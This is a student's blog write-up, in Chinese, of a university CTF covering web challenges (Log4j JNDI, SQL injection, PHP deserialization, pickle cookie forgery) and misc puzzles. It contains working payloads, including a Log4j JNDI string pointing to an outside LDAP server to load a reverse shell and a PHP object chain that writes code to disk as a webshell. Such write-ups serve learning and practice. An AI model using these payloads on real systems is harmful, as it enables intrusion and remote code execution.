xdu抗疫CTF

挺有收获的比赛,本fw被kill7imer师傅带飞,也让俺看到自己和大佬之间的巨大差距

分个人赛(萌新赛)和队伍赛,挑里面8会的题记录学习一下

未全写完,挖坑。。。。。

web

打飞机

一个页面游戏,要达到5000分才能看flag,无法抓包,所以推测应该是控制台输入,但是没学过js,只能胡乱试,后来发现在f12控制台输入score=1000000000, 就阔以获取flag了

让我访问

进去后是段php源码,要求请求方式是”HS”,然而搜索请求头相关知识,请求方式有6种包括GET、POST等,’HS’显然是出题人捏出来的,当时8知道怎么改,就8会
后来看师傅wp,原来是这么改,请求头的第一行就是请求方式

Log4j

就是前段时间闹得很火的漏洞,然鹅没做出,看师傅题解

log4j漏洞

先扫盲,dns是将你输入的域名翻译成ip地址的东西,那么dnslog就是用来记录用户对域名访问信息的文件,可以在dnslog.cn (dns日志记录平台)查询某个域名的访问记录
payload:
${jndi:ldap://xxxxxx}

log4j这个漏洞捏,就是只要这个log4j这个组件存在于日志里面(含有payload), 就阔以触发,于是就胡乱塞就阔以了

wp

先访问dnslog.cn, 点Get SubDomain获取1个随记域名,然后它会返回这个域名的查询信息, 然后将域名插入payload, (eg:${jndi:ldap://mfhdpe.dnslog.cn), 然后就….到处塞(这也是官方预期解)

此题中,下载附件可以看到在application.properties文件中,logging.level.root=error, 也就是…要触发访问错误服务器才会将这次访问记录在dnslog, 所以我们在网址后加个/123(访问1个叫123的并不存在的文件),结果自然是404

再经过尝试,将headers里的ACCEPT所默认的东东改成payload,发送,访问错误,被记录在日志中,然后回到dnslog.cn,刷新日志查询,会发现多了1次请求查询

然后在1个有公网ip的服务器启动恶意LDAP服务,然后将服务器的ip插入payload,${jndi:ldap://xx.xxx.xx/Basic/ReverseShell/xx.xx(和前面一样的网址)}, 这部分没学过,先挖个坑
仍按照之前方式将含payload的headers发送

然后LDAP恶意服务会加载1个恶意的类到本地去执行(然而java某个版本后这个方法就8能用了,它会把从远程加载这个选项默认关闭)

填…………….坑


组队赛login

这道题让俺被梁佬暴击

一进去是个登录页面,然后过滤单引号、但不过滤双引号,因此应该是单引号注入
过滤空格,可以用url码绕过
然后一边开burp爆破一边构造payload, 然后半路上这题居然被爆出来了。。。

所以有时候爆破这方法也能有效

sql注入

先猜测原sql语句为
select * from uers where uesername=’admin’ and password=”$password”
然后构造$password=’”=”‘闭合,于是原Sql语句就变成了
select * from users where username=’admin’ and password=””=””

此处用到sql语言的1个特性
password=””的值为0,而””的值也为0,所以结果也就是0=0,也就是1,就绕过了……

反序列化逃逸

然后成功进入后根据提示进入另一个php页面,php源码如下,根据hint需要用到php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
include('flag.php'); //flag.php!!!!!!!!!
error_reporting(0);

function replace($payload){
$filter="/flag/i";
return preg_replace($filter,"nono!",$payload); //匹配payload中的filter并替换,此处的/i表示大小写不敏感,(在菜鸟在线里验证过,单双引号的区别
};
$sss=$_GET['ky']; //单引号,不转义, 此处为用户输入的可构造payload部分
$ctf['sss1']='webwebweb';
$ctf['sss2']='pwnpwnpwn';
if(isset($sss)){
if(strpos($sss,'flag')>=0){//返回flag在php中第一次出现位置的数字 若没有则返回FALSE,所以必须出现上述
$ctf['sss1']=$sss; //ss1换成payload
$ctf=unserialize(replace(serialize($ctf)));//serialize:序列化一个对象或数组,返回字符串;调用replace,把"/flag/i"换成nono!,可以双写绕过
if($ctf['sss2']==="webwebweb"){ //3个=,强比较,没法绕
echo $flag;
}else{
echo "nonono!";
}
}
}
else{
highlight_file(__FILE__);
}
?>

在花了1下午学习php反序列化漏洞原理,第二天上网查,各种姿势构不出来

然后俺抱着试一试的态度去问reverse大师梁佬,把俺学习的文章甩给他

然后kill7imer佬,在不会php没学过Sql注入的情况下,花了20min就构出来了,让我感觉智商被按在地上摩擦

payload:
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag”;s:4:”sss2”;s:9:”webwebweb”;}

利用的是php反序列化底层语法漏洞,后来知道叫做反序列化逃逸,在unserialize函数把1个字符串反序列完后,不管后面是什么都8影响

L-inc

这道题2021的miniL-ctf上出过,当时也是8会,现在重学一下

为此要学习Python序列化

进入页面,被提示要成为vip才能访问,于是抓包,发现能改的也就cookie了

cookie一看是base64,放进网站解码一下

发现解了但没完全解,中间的一堆’…’8知道是什么,而且把它们换成普通的.之后base编码的内容也变了,当时就卡这里了。
后来才发现,这个解码网站会自动把无法显示的字符替换为’.’,于是要用Python的base64模块解码才行

学习Python的序列化与反序列化

和一般的反序列化类似,网上都能学,此处说说遇到的问题

遇到的问题就是一开始写脚本,如下,将cookie进行base64解码,得到一串二进制字符,然后用pickle.load()进行解析,发现解析失败…..

1
2
3
4
5
6
7
8
9
10
11
12
import pickle,base64
cookie='gASVLAAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjANjeXOUjAN2aXCUiXViLg=='
a=base64.b64decode(cookie)
print(a)
b=pickle.loads(a)
b.vip=True
b.name='7bmk'
with open('D:\desktop\python代码\cookie.txt',wb) as f:
r=pickle.dump(b,f)
with open('D:\desktop\python代码\cookie.txt',rb) as f:
exp=f.read()
b=base64.b64encode(exp).decode()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64,pickle
from re import M
class Person:
def __init__(self,n,a):
self.name=n
self.age=a
def Print(self):
print(self.name+'_i5_'+self.age)

Jack=Person('Jack',18)
with open('D:\desktop\python代码\cookie1.txt','wb') as f:
pickle.dump(Jack,f)
with open('D:\desktop\python代码\cookie1.txt','rb') as f:
txt=f.read()
print(txt)

有2个办法,1是用python的1个模块叫pickletools;2是尝试手动把序列化后的字符翻译回去

先试试法2,如上述代码,在定义了Person类并初始化对象Jack后,将Jack序列化,再打印序列化结果,如下:

b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x04Jack\x94\x8c\x03age\x94K\x12ub.'

再看看原cookie经过解码后的字符:

b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x037bmk\x94\x8c\x03vip\x94\x89ub.'

似乎8是很难进行比较,然后就阔以在相应的地方进行改动。8过如果属性数过多有些容易看漏,而pickletools模块阔以帮我们自动反序列化,用法8再赘述

于是在反序列化后,将属性vip的值由False改为True,再经过base64编码,就构造出payload了……

SSTI注入

然后是SSTI注入,还没学,这里先填个坑,草草草草草草草草草草草草草草草草草草草草草草草草草草草草

ez_unserialize(php反序列化)

先帖源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
class A{
public $var1;
public $var2;
public $secret;

function __construct($p1, $p2){ //Ok,这次是真正的反序列化实践了!
$this->var1 = $p1;
$this->var2 = $p2;
} //无感

function __destruct(){
$this->var1->secret = $this->var2; //->:表示引用对象的成员
}
}

class B{
function __construct(){
$this->Hello(); //调用Hello方法
}

function __set($p1, $p2){
$p2->$p1(); //执行p2类下的p1函数
} //先过

function Hello(){
echo "Welcome to 西电战役CTF!";
}
}

class C{
public $var1;

function __construct($p1){
$this->var1 = $p1;
}

function __call($p1, $p2){
call_user_func($this->var1); //call_user_func调用$this->var1的函数,有啥意义?
}
}

class D{
public $var1;
public $var2;

function __construct($p1, $p2){
$this->var1 = $p1;
$this->var2 = $p2;
}

function write(){
$dir = "sandbox"; //关键词??
if (!is_dir($dir)){ //is_dir():检查$dir是否为1个文件夹(若$dir为相对路径,则按照当前工作目录检查),是则返回TRUE(bool),否则返回FALSE
mkdir('sandbox'); //mkdir创建文件夹,mkdir(path,mode,recursive(可选,看不懂),context(可选,看不懂)) 翻译:创建叫sandbox的文件夹,可访问
}
chdir('sandbox'); //chdir:改变当前目录为'sandbox'
$filename = md5($this->var1 . $_SERVER["REMOTE_ADDR"]) . ".php";
/*$_SERVER 是一个包含诸如头信息(header)、路径(path)和脚本位置(script locations)的数组,超全局变量。
remote_addr:正在浏览当前页面用户的 IP 地址*/
if (preg_match("/[<>?]/", $this->var2)) {//操了,又是正则匹配;翻译: 在*后加?表示非贪婪最小匹配,表达式匹配<>,总感觉哪里有些不对
//确实不对,他的意思是禁止左括号、右括号、问号,但这也是阔以绕过的----当被匹配的参数$this->var2为数组时,即可绕过(虽然会警告但是仍阔以执行)
die("hhhhacker!!!");
} else {
file_put_contents("./" . $filename, $this->var2); //网上可搜到该函数漏洞,把1个字符串写到文件里(指菜刀payload),没使用FILE_APPEND追加
}
}
}

$a = $_GET['a']; //追踪!!!!

if (isset($a)) {
unserialize($a);
}
else if ($_POST['b'] == 'phpinfo') {
phpinfo(); //输出关于php配置的信息(完了,一点不懂,但这肯定是有用的)
}
else {
highlight_file(__FILE__);
}

阔以看到里面有个write函数,作用是结合用户输入的参数读取文件,于是就想到要调用这个函数,咋调用捏?
然后阔以看到c类里有个__call(的)魔术函数,里面的call_user_func调用$this->var1的函数,自然也阔以调用write函数
那么如何调用__call呢?这就要利用__call作为魔术函数的特性,__call函数在对象调用1个不可访问(b不存在)的方法时会被调用

那么看看我们阔以控制的变量$a,在被反序列化后就啥也没干了,这有啥漏洞呢?

继续审,看到class B里的__set()函数阔以执行,然后搜索__set函数怎样能被调动: 在给不可访问或不存在的属性赋值时set会被调用, so….

大佬的构造是:

1
2
3
4
5
6
7
$content[]="<?php phpinfo();?)>"  //创造数组,因为数组可以绕过preg_match,里面是payload
$d=new D('',$content); //数组塞进d,D类里有write(),创建文件夹sandbox,然后md5($this->var1.ip地址).".php";然后$this->var2作为php语句写入文件
$array=array($d,'write'); //array()将2个参数填入数组
$c=new C($array); //C类有__call(),__call()里有call_user_func(this->var1)
$b=new B(); //B类的__set($p1,$p2)执行p2类下的p1函数,p2->p1(),__construct()啥也没干
$a=new A($b,$c); //A类有__destruct():$this->var1->secret = $this->var2;
echo serialize($a);

然后我们理解一下,在payload被反序列化后,__destruct()通常在脚本结束前被调用执行,于是A类的__destruct被调用,$b->secret=$c,然而我们构造的$b为B类属性,没有$secret,因此相当于访问了1个8存在的属性,于是就会调用B类的__set()方法, 但__set()的参数是啥? 可以先猜一波是$c里的$array里的$d,’write’(百度一波),然后$d的write函数被调用,$d->$var1=’’, 即没有,$d->var2=$content,即1个数组,阔以绕过preg_match,虽然触发警告但仍然阔以成功执行 file_put_contents()函数,于是文件就被写入了

另外要学会看php的官方文档

然后我们访问这个文件,里面的php代码就会被执行,然后阔以把content设置为一句话木马,就可以用菜刀连接了

这道题让我发现了自己的代码审计水平有多菜

misc

音频隐写

之前没做过类似的题,这次记录一下

大致就是在一些音频编辑软件里打开,俺用的Audacity,但是听说看8了5.1声道,可以用Adoble Audition

然后查看里面的不同声道,发现里面有2个声道里面只有3个调调,联想到摩斯电码。如图

然后根据规律,出现从不连续出现的应该是横杠(间隔),其他两个代表什么分别试试就知道了

解出来1个乱码,也8知道是8是,因为没法提交验证了。。

rpg

Noah师傅出的很有意思的1道题

里面是个游戏,找遍了地图也没啥可以触发的。于是意识到需要通过改游戏角色的金币来获取flag

于是把下载的文件翻了个遍,最后发现.rvdata后缀的文件很可疑,因为每创建1个存档,就会多出1个这个文件。于是意识到阔以通过这个方式修改存档,但打开后是部分可识别,部分则是乱码,改了编码方式也没用。于是搜索.rvdata相关内容,很幸运的找到一个网站,阔以在线识别并修改.rvdata的数据:链接,往进去一拖分分钟搞定

LSB隐写

就提一下,有的是RGB全点,有的是只点1个,但不是瞎几把乱点….

队伍赛-base的revenerge

下载打开,类似base64编码的乱码,推荐1个8错的自动识别编码的在线网站: cyberchef

然后解码1次后还是乱码,而且这个乱码完全没法识别,没啥规律,也8是base58,如下图

网上找找资料,符合这种乱码的有几种可能:
1、词频加密(只在某文章出现过,意思是把不同符号出现的次数从大到小或从小到大排列,然后看是8是能组成有规律的一串字符)
2、UUencode,特点是有很多字符
3、xxencode,文本和base64类似,但比base64多了个’-‘字符,少了个’/‘字符

但是将部分文本拖入在线网站解码后,排除234的可能性,至于1,真的有可能吗?写个脚本试试


xdu抗疫CTF
https://bl4zygao.github.io/2022/01/09/xdu抗疫CTF/
Author
bl4zy
Posted on
January 9, 2022
Licensed under